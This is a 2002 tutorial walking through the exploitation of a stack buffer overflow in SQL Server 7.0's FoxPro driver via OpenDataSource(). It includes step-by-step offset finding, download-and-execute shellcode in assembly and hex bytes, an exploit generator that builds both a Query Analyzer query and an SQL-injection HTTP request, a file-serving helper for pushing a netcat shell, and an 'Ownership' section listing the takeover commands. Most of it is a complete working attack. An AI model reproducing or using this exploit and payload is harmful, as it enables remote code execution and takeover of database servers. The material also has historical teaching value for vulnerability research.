Sunteți pe pagina 1din 19

Win32 Stack Based Buffer Overflow Walkthrough

sk@scan-associates.net
23rd July 2002

1.0 Introduction
2.0 What is buffer overflow?
2.1 Stack overflow
3.0 What do you need?
4.0 Exploiting stack based buffer overflow
4.1 But where can we jump to?
4.2 Finding jmp esp
5.0 The payload
5.1 Getting Windows API/function absolute address
6.0 Ownership
7.0 Greets and thanks
8.0 The code
9.0 Where to get more info
10.0 Patch

1.0 Introduction

There are already many good articles published about buffer overflow. However we
think
there is still room for Windows based buffer overflow article. We wrote this
article
because we would like to document the whole process from discovering a bug till
successful penetration of a server in one of our recent penetration testing. You
will see
many practical examples and useful code that may help you to discover and exploit
other
buffer overflow. We hope that it will be useful but please check out the last part
"9.0
Where can I get more info?" for links to papers that we learnt much from.

2.0 What is buffer overflow?

Computer programs usually allocate certain amount of space to store data during
execution. This space is known as buffer. A buffer overflow occurs when the amount
of
data is larger than the allocated buffer. When that happened, the data will
overwrite
memory area that followed the buffer. There is no telling what is after the buffer;

however what we hope to overwrite is memory area which will alter the execution
flow
of the program. The goal is to direct the execution flow to our code, thus allow us
to
execute anything in the victim PC.

2.1 Stack overflow

Function calls in C program usually pass parameter via stack. A caller program will
store
parameters into stack before calling a function. The function will then locate the
parameters from the stack. Stack also will contain return address so that the
function can
jump back to the caller program. If we can submit data more than previously
allocated
space, we can overflow the dedicated space and if we can overwrite the stack, we
call this
Stack Based Overflow. Overflow the stack is especially fun because stack usually
contain
return address. For more information about it, you may want to look at a classic
article
from Aleph One (http://www.phrack.org/show.php?p=49&a=14).

3.0 What do you need?

Windbg.exe (http://www.microsoft.com/ddk/debugging/default.asp)
TASM (http://community.borland.com/museum)
Hex Editor (I prefer xvi32
http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm)
Visual Studio or any decent C compiler
Microsoft SQL Server 7.0 or SQL Server 2000
Windows 2000 Server SP2.

4.0 Exploiting stack based buffer overflow

We are going to go through the process of exploiting the latest version (as the
time we are
writing this) of Microsoft SQL Server 7.0 Service Pack 4 with default installation.
Soon
after Mark Litchfield published a buffer overflow in OpenDataSource() with Jet
database
engine in SQL Server 2000 (http://www.nextgenss.com/advisories/mssql-ods.txt), we
browse through the list of default install ODBC driver. We found the FoxPro driver
install by default, and decided to try our luck with OpenDataSource().

We fire up WinDbg.exe. Click File, and then Attach to Process. You need to debug
SQL
Server. Select “sqlservr.exe” And run (F5) process. Now, whenever there is
Exception,
User break, etc, the debugger will suspend the process. We need to do this because
we
want to see what we can overwrite and use.

Now, open up your Query Analyzer. Try executing this query (yeah, type about 300
A’s).

SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro


Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA;SourceType=DBC')...xactions;

Here, we have prepared it for you. You may just cut and parse it to your Query
Analyzer.
Run the query. The query should overflow the SourceDB parameter, and it will
overwrite
several CPU registers as well as the ever important EIP. Before Query Analyzer can
return any result, your WinDbg already kick in. If you check your WinDbg now, you
should see that the instruction is pointing at 0x41414141, which is an invalid
address.
Take a look at register EIP, it is 0x41414141. We have overwritten EIP with the
ASCII
code of ‘A’ (0x41). The process flow to 0x41414141 because we have overwritten the
EIP register. This register determines the next instruction that the CPU will
execute.
Being able to write to EIP means we can control the execution flow. That mean
somewhere in the 300 A’s will overwrite the EIP register. We need to find the exact

location so that we can inject useful address to EIP.

To get the exact location of the EIP, we can construct a query like the following:

SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro


Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAZZZZYYYYXXXXWWWWVVVVUUUUTTTTSSSSRRRRQQQ
QPPPPOOOONNNNMMMMLLLLKKKKJJJJIIIIHHHHGGGGFFFFEEEEDDDDCCC
CBBBBAAAA;SourceType=DBC')...xactions;

You may need to terminate your SQL server, attach to process again using WinDbg.
Run
Query Analyzer and connect to your SQL server again.

This time, your EIP will be 0x47484848. This is equivalent to GHHH. We need to
replace GHHH with a useful memory address, may be memory address that point to our
payload. The payload will execute anything we want. It also tells us that we need
to put
our memory address in reverse byte sequence. Let’s construct a query that just
enough for
us to overwrite EIP. It will take 269 A’s for padding and 4 more bytes that will
overwrite
the EIP.

SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB;SourceType=DB
C')...xactions;

Now, take a look at WinDbg. Access Violation is trying to execute code from
0x42424242. ASCII code of B is equivalent to 0x42, which is the last part of the
SourceDB string. The process flow to 0x42424242 because ‘BBBB’ have overwritten the

EIP register. By replacing BBBB with a memory address, the process will flow into
that
memory address. In other word, we can jump to anywhere we want.

4.1 But where can we jump to?

Of cause, we are going to jump to our payload. Our payload will execute something
useful like spawning a shell for us, creating a file and so on. It is possible to
jump directly
to our payload if we know the address of our payload. To do that, we just need to
replace
BBBB with our address. But usually, the address of our payload may not be in a fix
location/address all the time.

It is best if we can find a register that point to our buffer or query in this
case. We can
then jump to the address store in the register to get to our buffer. This method is
preferred
because we can jump to our code/buffer no matter where it is. Let’s find the
register.
Take a look at what each register hold during the crash:

EDI=0
ESI=EB2288
EBX=FFFFFFFF
EDX=301FCB10
ECX=301FCAC0
EAX=AB
EBP=41414141
EIP=42424242
ESP=301FCC50

We need to find a register that is related to our buffer. If you type the value of
EDX to the
Memory window inside WinDbg, you will see that it points to a location above the
long
e:\AAAA…AAAA buffer. If we want to jump to EDX, we must be able to put our
payload before the e:\AAAA buffer, which is not possible. Let’s take a look at ESP.
It
points to memory location just after the BBBB. This is perfect. If we jump to the
value
hold by ESP, we will jump back to our buffer. We will land on the byte immediately
after
the value we overwrite EIP. So the structure of our query should look like this:

SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\A…A<EIP><payload>;SourceType=DBC')...xactions;

Now that we have found a perfect location for our payload, all we need to do is to
jump
to that location. In order to do that, we need to execute something like “jmp esp”.
We can
overwrite the EIP to point to somewhere in the memory that contain instruction “jmp

esp”. When the CPU reaches memory address that contains the instruction, it will
jump
back to our payload because ESP point to our payload. We are free to do whatever
evil
thing we want.

4.2 Finding jmp esp

As mentioned, we need to overwrite EIP with an address that contain instruction


“jmp
esp”. First, let’s find out what this instruction is, in machine code or opcode.
You may
use the handy debug.exe that comes with every single version of Windows. Run
debug.exe, you will see a dash (-) indicating debug is now expecting your command.
You
can type question mark (?) for help to list of available command. We can use debug
to
type assembly code “jmp esp” and dump the memory to see the actual machine code of
the instructions. To get the instruction code for “jmp esp” follow these
instructions:

-a
137A:0100 jmp sp
137A:0102 <enter>
-d 100
137A:0100 FF E4 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0110 00 00 00 00 00 00 00 00-00 00 00 00 34 00 69 13 ............4.i.
137A:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137A:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
-q

In the code above, we wrote “jmp sp” because debug.exe is still just an 8086
debugger
and thus will not be able to use any extended register like ESP. However these
codes are
still valid and the machine code for “jmp esp” in i386 is “FF E4”.

We can browse through the memory to look for these hex values. In order to do that,
we
can use this program which we modify from an excellent article about Windows Buffer

Overflow (http://www.dtmf.com.ar/texts/nt-bofstf.txt) by jason_jordan@omron.com.


We probably can find these instructions within a program or DLL which already
loaded
into the memory. The program findhexe.exe allows us to browse through any DLL to
look for the hex code we need. Refer to “8.0 The code” for code to compile
findhex.exe.

We also need to use listdlls.exe from SysInternals


(http://www.sysinternals.com/ntw2k/utilities.shtml) to list all the DLLs that are
currently
loaded, including where they are loaded and their version numbers. Output from
listdlls.exe will show many loaded DLLs and their base memory. We can use any one
of
it. Take note that base memory of system DLL may be different in different OS and
Service Pack. Thus, if we are using offset from DLL, our exploit code will bind to
specific OS and service pack. It may not work with different service pack. Thus,
some
exploits prefer to use offset found within the host program (program that cause the

overflow bug, in this case, the SQL Server itself.)

In this case, we will browse through msvcrt.dll to look for FF E4.

C:\>findhex msvcrt.dll FF E4

Opcode found at 0x78024e02


End of msvcrt.dll Memory Reached.

We have one location. This is good enough. We will overwrite EIP with this address,
and
“jmp esp” will execute. It will jump back to our buffer after EIP. The very first
instruction that we will put into our payload is the “INT 3”. INT 3 (breakpoint) is
a
special instruction that will course a debugger to suspend your program for
debugging.
The hex code for this instruction is 0xCC. It is time for us to write our exploit
program
that will create the query we want.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])


{
int eip;
FILE *f;
f= fopen("out.sql" , "wb");
eip = 0x78024e02;
fprintf(f,"%s", "SELECT * FROM OpenDataSource( 'MSDASQL','Driver=Microsoft
Visual FoxPro
Driver;SourceDB=e:\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* our address to jump to in little endian format */
fprintf(f,"%c%c%c%c", eip&0xff, eip>>8&0xff, eip>>16&0xff, eip>>24&0xff);
fprintf(f, "%s", "\xcc"); /* our breakpoint */
fprintf(f, "%s", ";SourceType=DBC'\)...xactions");
fclose(f);
return 0;
}

Compile the program and run it to generate out.sql. This is the file we will open
in Query
Analyzer. To test this, you must start WinDbg.exe and attach SQL Server process as
we
did earlier. When you run out.sql in Query Analyzer, the WinDbg will break but this

time, instead of instruction pointing to invalid address, you should see our
instruction
INT 3 (0xCC). It is our breakpoint that suspends the SQL Server. We have the
ability to
execute any code now. It is time for the sweet part; we will construct our payload
and
append it to the query.

5.0 The payload

Usually there is a limit in length in our payload before we break everything and
crash the
server beyond recovery. In this case, we will append a few instructions after the
<EIP> to
jump back to the beginning of our buffer and do everything important there. We will

replace those A’s with real executable payload. First, we need to construct a few
instruction to do the jump. Open up debug.exe again. Let’s type these instructions
and get
the opcode.

C:\>debug
-a
137C:0100 mov bx, sp
137C:0102 sub bx, 111
137C:0106 jmp bx
137C:0108
-d 100
137C:0100 89 E3 81 EB 11 01 FF E3-00 00 00 00 00 00 00 00 ................
137C:0110 00 00 00 00 00 00 00 00-00 00 00 00 34 00 6B 13 ............4.k.
137C:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137C:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137C:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137C:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137C:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
137C:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
-

There you have it, the op code is 0x89 0xE3 0x81 0xEB 0x11 0x01 0xFF 0xE3. These
instructions will execute in i386 as:

mov ebx, esp


sub ebx, 111h
jmp ebx

If you recall, the ESP still contain the memory address after we overwrite the EIP.
We
copy the content of ESP into EBX, subtract 0x111 from it. The EBX will now point to

the beginning of our buffer, the beginning of A. We will replace all those A’s with
useful
executable code.

We have about 269 bytes to work with. That is not much. So, we want to create a
small
payload that will connect to an IP, retrieve a file and execute it on the server.
Our little
program need to call several Windows APIs to make connection, to write to file, to
execute program and so forth. The usual way of doing this is to call the Windows
API by
their name, i.e: CreateProcess(). We can use trick like Jump Table (Dildog
http://www.cultdeadcow.com/cDc_files/cDc-351/) to load all Windows API when our
program starts. But due to limited space to work with, we cannot use these fancy
tricks.

We will call Windows API directly by their address in the memory. There is
limitation in
this method, because these addresses will change between OS or service pack. You
should get the same offset if you are trying this on a Windows 2000 Server SP2.

5.1 Getting Windows API/function absolute address

Our little payload is going to use several functions like socket(), connect(), etc.
We will
go through the process to get socket()’s absolute address. A quick check indicate
that
socket() function exported from ws2_32.dll. We will use dumpbin.exe found in Visual

Studio to get show list of exported function from this DLL.

C:\>dumpbin c:\winnt\system32\ws2_32.dll /exports

Take note of the last line of the output, the export address of the socket
function:


23 6C 00001EF4 socket

If you use listdlls.exe, you will see that the DLL is loaded in the base memory of
0x75030000.

C:\>listdlls –d ws2_32.dll

Base Size Version Path
0x75030000 0x13000 5.00.2195.2780 C:\WINNT\System32\WS2_32.dll

Total up these two values (0x75030000 + 00001EF4), you will get the address to the
socket() function, which is 0x75031EF4 for Windows 2000 Server SP2.

You may need to do the same for all these functions:

socket EQU 75031EF4h


connect EQU 7503C453h
recv EQU 7503A1AEh
closesocket EQU 750313B6h

You can find these functions from msvcrt.dll:

_open EQU 7801C26Ch


_write EQU 78003670h
_close EQU 78013EC7h
_execl EQU 78018BDFh

Using this address we will now build a tiny program to connect to an IP, receive
data,
save it to a file and finally execute it. The code was modified from High Speed
Junky in
his brilliant code to exploit IIS5.0 IDQ
(http://hsj.shadowpenguin.org/misc/iis5idq_exp.txt).

;tiny shellcode to download n exec code for win2k sp2


.386p
locals
.model flat, stdcall

socketf EQU 75031EF4h


connectf EQU 7503C453h
recvf EQU 7503A1AEh
closesocketf EQU 750313B6h

_openf EQU 7801C26Ch


_writef EQU 80036707h ;78003670h, will ror 4 to avoid NULL
_closef EQU 78013EC7h
_execlf EQU 78018BDFh

.code
start:
pop ebx ; esp contain current address
xor eax,eax
inc eax
inc eax
shl eax,9
sub esp,eax ;get more stack

lea esi,[esp+20h]
xor eax,eax
push eax
inc eax
push eax
inc eax
push eax
mov eax, socketf
call eax ; call socket()
mov edi,eax
xor eax,eax
inc eax
inc eax
mov word ptr [esi],ax
shl eax,3
push eax
push esi
push edi
;port and address can be changed in exploit program
mov word ptr [esi+2], 1141h ;port = 80 xor 0x41
mov dword ptr [esi+4],6840E981h ; IP = 192.168.1.41 xor 0x41
xor word ptr [esi+2], 4141h
xor dword ptr [esi+4],41414141h
mov eax, connectf
call eax ;call connect()

xor eax,eax
mov dword ptr [esi],2E61615Ch ; file = '\aa.exe'
mov dword ptr [esi+4],41657865h
mov byte ptr [esi+7],al

mov ax,0180h
push eax
mov ax,8101h
push eax
push esi
mov eax, _openf
call eax ; call open()
mov ebx,eax

read:
xor eax,eax
push eax
inc eax
shl eax,9
push eax
lea ecx,[esi+8]
push ecx
push edi
mov eax, recvf
call eax ; receive data

test eax,eax
jle doneread
push eax
lea ecx,[esi+8]
push ecx
push ebx
mov eax, _writef
ror eax, 4
call eax ; write to file
jmp read

doneread:
push ebx
mov eax, _closef
call eax ;close()
push edi
mov eax, closesocketf
call eax ;closesocket()
xor eax,eax
push eax
push esi
push esi
mov eax, _execlf
call eax ; exec the program
xor eax,eax ;unreachable
call eax ;cause an exception

end start
.data
You can compile the program with TASM.

C:\>tasm –l down.asm

Argument -l will generate listing of the code. If you check the content of down.lst
you
should see:


17 00000000 start:
18 00000000 5B pop ebx ; esp contain current
address
19 00000001 33 C0 xor eax,eax

102 000000BA 33 C0 xor eax,eax
103 000000BC FF D0 call eax ;cause an exception
104
105 end start

Remember the opcode where the program starts and where it ends. Then you need to
use
a hex editor to open the object file down.obj, delete everything that is not part
of your
code. So, what is left is only your payload code which is about 190 bytes.

You should replace this into the query. Now, your final query should look like
this:

SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=Microsoft Visual FoxPro
Driver;SourceDB=e:\<payload>A…A<EIP><jmp to
payload>;SourceType=DBC')...xactions;

We attach the final exploit program which can generate exploit query for both
Windows
2000 SP2 and Windows NT SP6a. It also will generate query to be used in SQL
injection.
Using SQL injection, you can penetrate into SQL Server remotely without using Query

Analyzer. For more information about SQL injection, you may want to read another
article by me in
(http://packetstorm.decepticons.org/papers/web/sql_injection_walkthrough.txt).
6.0 Ownership

1. Setup sendfile.exe ready to upload file nc9999.exe which is a modified version


of
netcat that will create a shell in port 9999.
sendfile 80 nc9999.exe
2. Run oversql.exe to generate out.sql and out.http for your IP
oversql 192.168.1.41 80
3. To attack via Query Manager, open out.sql n run it
3. To attack via SQL Injection, edit out.http if neccessary, then
type out.http | nc -vv sqlserver 80
4. Verified sendfile.exe completed and netcat to sqlserver at 9999
nc -vv sqlserver 9999
5. Once connected, restart sqlserver
net start sqlserveragent
6. To disconnect and close port 9999
exit

7.0 Greets and thanks

The SCAN Clan, especially to pokley, tynon, wyse and spoonfork. Alphaque and
L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO
examples. Eeye, I think, whenever you disclosed vulnerability, it’s a good thing.
High
Speed Junky, you don’t know, your code is like bible to me.

8.0 The code

// findhex.cpp : Defines the entry point for the console application.


//
#include "stdafx.h"
#include "findhex.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif

// The one and only application object

CWinApp theApp;

using namespace std;


int axtoi(char *hexStg) {
int n = 0; // position in string
int m = 0; // position in digit[] to shift
int count; // loop index
int intValue = 0; // integer value of hex string
int digit[5]; // hold values to convert
while (n < 4) {
if (hexStg[n]=='\0')
break;
if (hexStg[n] > 0x29 && hexStg[n] < 0x40 ) //if 0 to 9
digit[n] = hexStg[n] & 0x0f; //convert to int
else if (hexStg[n] >='a' && hexStg[n] <= 'f') //if a to f
digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int
else if (hexStg[n] >='A' && hexStg[n] <= 'F') //if A to F
digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int
else break;
n++;
}
count = n;
m = n - 1;
n = 0;
while(n < count) {
// digit[n] is value of hex digit at position n
// (m << 2) is the number of positions to shift
// OR the bits into return value
intValue = intValue | (digit[n] << (m << 2));
m--; // adjust the position to set
n++; // next digit to process
}
return (intValue);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])


{
int nRetCode = 0;

// initialize MFC and print and error on failure


if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
_tprintf(_T("Fatal Error: MFC initialization failed\n"));
nRetCode = 1;
}
else
{
bool we_loaded_it = false;
HINSTANCE h = NULL;
h = GetModuleHandle(argv[1]);
if(h==NULL)
{
h = LoadLibrary(argv[1]);
if(h==NULL)
{
cout<<"Error Loading DLL: "<<argv[1]<<endl;
return 1;
}
we_loaded_it = true;
}
//find wat?
BYTE find[8];
int ar;

if(argc<2){
printf("Usage: %s [dll] [hex] [hex] <hex> <hex>", argv[0]);
exit(1);
}
for (ar=0; ar<argc-2; ar++){
find[ar] = axtoi(argv[ar+2]);
}
cout<<endl;
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0; !done; y++)
{
try
{
int found=0;
for(int pp = 0; pp < ar; pp++){
if(ptr[y+pp]!=find[pp])break;
found++;
}
if (found==ar)
{
int pos = (int)ptr + y;
cout<<"Opcode found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"End of "<<argv[1]<<" Memory Reached"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
}
return nRetCode;
}

// oversql.cpp : sql BO
// as discovered by pokley
// exploit by sk@scan-associates.net 3rd July 2002

#include "stdafx.h"
#include <stdlib.h>
#include <winsock2.h>
#pragma comment (lib,"Ws2_32")
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int _tmain(int argc, _TCHAR* argv[])
{
printf("SQL Server 7.0 FoxPro Driver BO Exploit\n");
printf("Bug discovered by pokley (pokleyzz@scan-associates.net)\n");
printf("Exploit code by sk@scan-associates.net\n3rd July 2002\n\n");
printf("1. setup sendfile.exe ready to upload file\n\tsendfile 80
nc1123.exe\n");
printf("2. run oversql.exe to generate out.sql n out.http for ur
IP\n\toversql
192.168.1.41 80\n");
printf("3. to attack via Query Manager, open out.sql n run it\n");
printf("3. to attack via sql injection\n\ttype out.http | nc -vv sqlserver
80\n");
printf("4. verified sendfile.exe completed n nc to sqlserver at 1123\n\tnc
-vv
sqlserver 1123\n");
printf("5. once connected, restart sqlserver\n\tnet start sqlserveragent\n");
if(argc<4){
printf("Usage: %s type IP PORT\n",argv[0]);
printf("Type 0 - Win2k SP2\nType 1 - Win NT6a\n");
return 1;
}
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
return -1;
}
unsigned int cb;
unsigned short port;
if(!(cb=resolve(argv[2]))){
printf("resolve error.\n");
return -2;
}
port = htons(atoi(argv[3]));
port ^= 0x4141;
cb ^= 0x41414141;

int type = atoi(argv[1]);


int eip[] = {0x78024e02, 0x77f32836}; //@mscvrt jmp esp
//shellcode less than 200 bytes!
//can b optimize further but it get da job done
//for win2ksp2 onli
//connect to ip, get file, save, exec
//win2ksp2
char code[] =
"\x8B\xDC\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x8D\x74\x24\x20\x33"
"\xC0\x50\x40\x50\x40\x50\xB8\xF4\x1E\x03\x75\xFF\xD0\x8B\xF8\x33"
"\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66\xC7\x46\x02"
"\x41\x11\xC7\x46\x04\x81\xE9\x40\x68\x66\x81\x76\x02\x41\x41\x81"
"\x76\x04\x41\x41\x41\x41\xB8\x53\xC4\x03\x75\xFF\xD0\x33\xC0\xC7"
"\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07\x66"
"\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2\x01\x78\xFF"
"\xD0\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57"
"\xB8\xAE\xA1\x03\x75\xFF\xD0\x85\xC0\x7E\x17\x90\x90\x90\x90\x50"
"\x8D\x4E\x08\x51\x53\xB8\x07\x67\x03\x80\xC1\xC8\x04\xFF\xD0\x90"
"\xEB\xD1\x53\xB8\xC7\x3E\x01\x78\xFF\xD0\x57\xB8\xB6\x13\x03\x75"
"\xFF\xD0\x33\xC0\x50\x56\x56\xB8\xDF\x8B\x01\x78\xFF\xD0\x33\xC0"
"\xFF\xD0";
//nt6a
char codent[] =
"\x8B\xDC\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x8D\x74\x24\x20\x33"
"\xC0\x50\x40\x50\x40\x50\xB8\x02\xAE\x6B\x77\xFF\xD0\x8B\xF8\x33"
"\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66\xC7\x46\x02"
"\x41\x11\xC7\x46\x04\x81\xE9\x40\x68\x66\x81\x76\x02\x41\x41\x81"
"\x76\x04\x41\x41\x41\x41\xB8\xA3\xA5\x6B\x77\xFF\xD0\x33\xC0\xC7"
"\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07\x66"
"\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\xA0\xE8\x01\x78\xFF"
"\xD0\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57"
"\xB8\x67\x82\x6B\x77\xFF\xD0\x85\xC0\x7E\x14\x90\x90\x90\x90\x50"
"\x8D\x4E\x08\x51\x53\xB8\x60\x11\x01\x78\xFF\xD0\x90\xEB\xD4\x53"
"\xB8\x20\x14\x01\x78\xFF\xD0\x57\xB8\x40\xB5\x6B\x77\xFF\xD0\x33"
"\xC0\x50\x56\x56\xB8\x80\xAD\x01\x78\xFF\xD0\x33\xC0\xFF\xD0";

*(unsigned short *)&code[48]= port;


*(unsigned int *)&code[53]= cb;

*(unsigned short *)&codent[48]= port;


*(unsigned int *)&codent[53]= cb;

FILE *f, *f2;


f= fopen("out.sql" , "wb");
f2= fopen("out.http", "w");
fprintf(f2, "%s", "GET /id.asp?id='a';");
fprintf(f,"%s", "SELECT * FROM OpenDataSource(
'MSDASQL','Driver=Microsoft Visual FoxPro Driver;SourceDB=e:\\");
fprintf(f2,"%s",
"SELECT%20*%20FROM%20OpenDataSource(%20'MSDASQL','Driver%3dMicrosoft
%20Visual%20FoxPro%20Driver;SourceDB%3de:\\");
int lc;
if (type) lc = sizeof(codent)-1;
else lc = sizeof(code)-1;
for (int j = 0; j < lc ; j++){
if(!type){
putc(code[j], f);
fprintf(f2, "%%%2.2x", code[j]&0xff);
}else {
putc(codent[j], f);
fprintf(f2, "%%%2.2x", codent[j]&0xff);
}
}
for (int i=0;i<269-j;i++){
fprintf(f, "A");
fprintf(f2, "A");
}
fprintf(f,"%c%c%c%c", eip[type]&0xff, eip[type]>>8&0xff,
eip[type]>>16&0xff, eip[type]>>24&0xff);
fprintf(f2,"%%%2.2x%%%2.2x%%%2.2x%%%2.2x", eip[type]&0xff,
eip[type]>>8&0xff, eip[type]>>16&0xff, eip[type]>>24&0xff);
// jump back to string to exec shellcode
//"8BDC" mov ebx, esp or 89 e3
//"81eb1101" sub ebx, 111
//"ffe3" jmp ebx
fprintf(f, "%s", "\x89\xe3\x66\x81\xeb\x11\x01\xff\xe3");
fprintf(f2, "%s", "%89%e3%66%81%eb%11%01%ff%e3");
fprintf(f, "%s", ";SourceType=DBC'\)...xactions");
fprintf(f2, "%s", ";SourceType%3dDBC'\)...xactions");
fprintf(f2, "%s\n\n", " HTTP/1.0");
fclose(f2);
fclose(f);
return 0;
}

// sendfile.cpp : Defines the entry point for the console application.


//
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#pragma comment (lib,"Ws2_32")

unsigned int resolve(char *name)


{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}

int get_connection(int port)


{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char
*)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
closesocket(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
closesocket(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
closesocket(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=4)
{
perror("accept");
closesocket(lsock);
exit(1);
}
else
goto retry;
}
closesocket(lsock);
return csock;
}

int _tmain(int argc, _TCHAR* argv[])


{
int i, j, s;
char buf[512];
FILE *fp;

if(argc!=3)
{
printf("usage: %s port file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s = get_connection(atoi(argv[1]));
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
send(s,buf,i,0);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);
shutdown(s,2);
closesocket(s);
return 0;
}

9.0 Where to get more info

1. Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit


(http://www.phrack.org/show.php?p=55&a=15). This is the best ever, best ever
article
about Win32 Buffer Overflow!
2. The Tao of Windows Buffer Overflow by DilDog
(http://www.cultdeadcow.com/cDc_files/cDc-351/) Thank you sensei!
3. WindowsNT Buffer Overflow's From Start to Finish by Jason Jordan
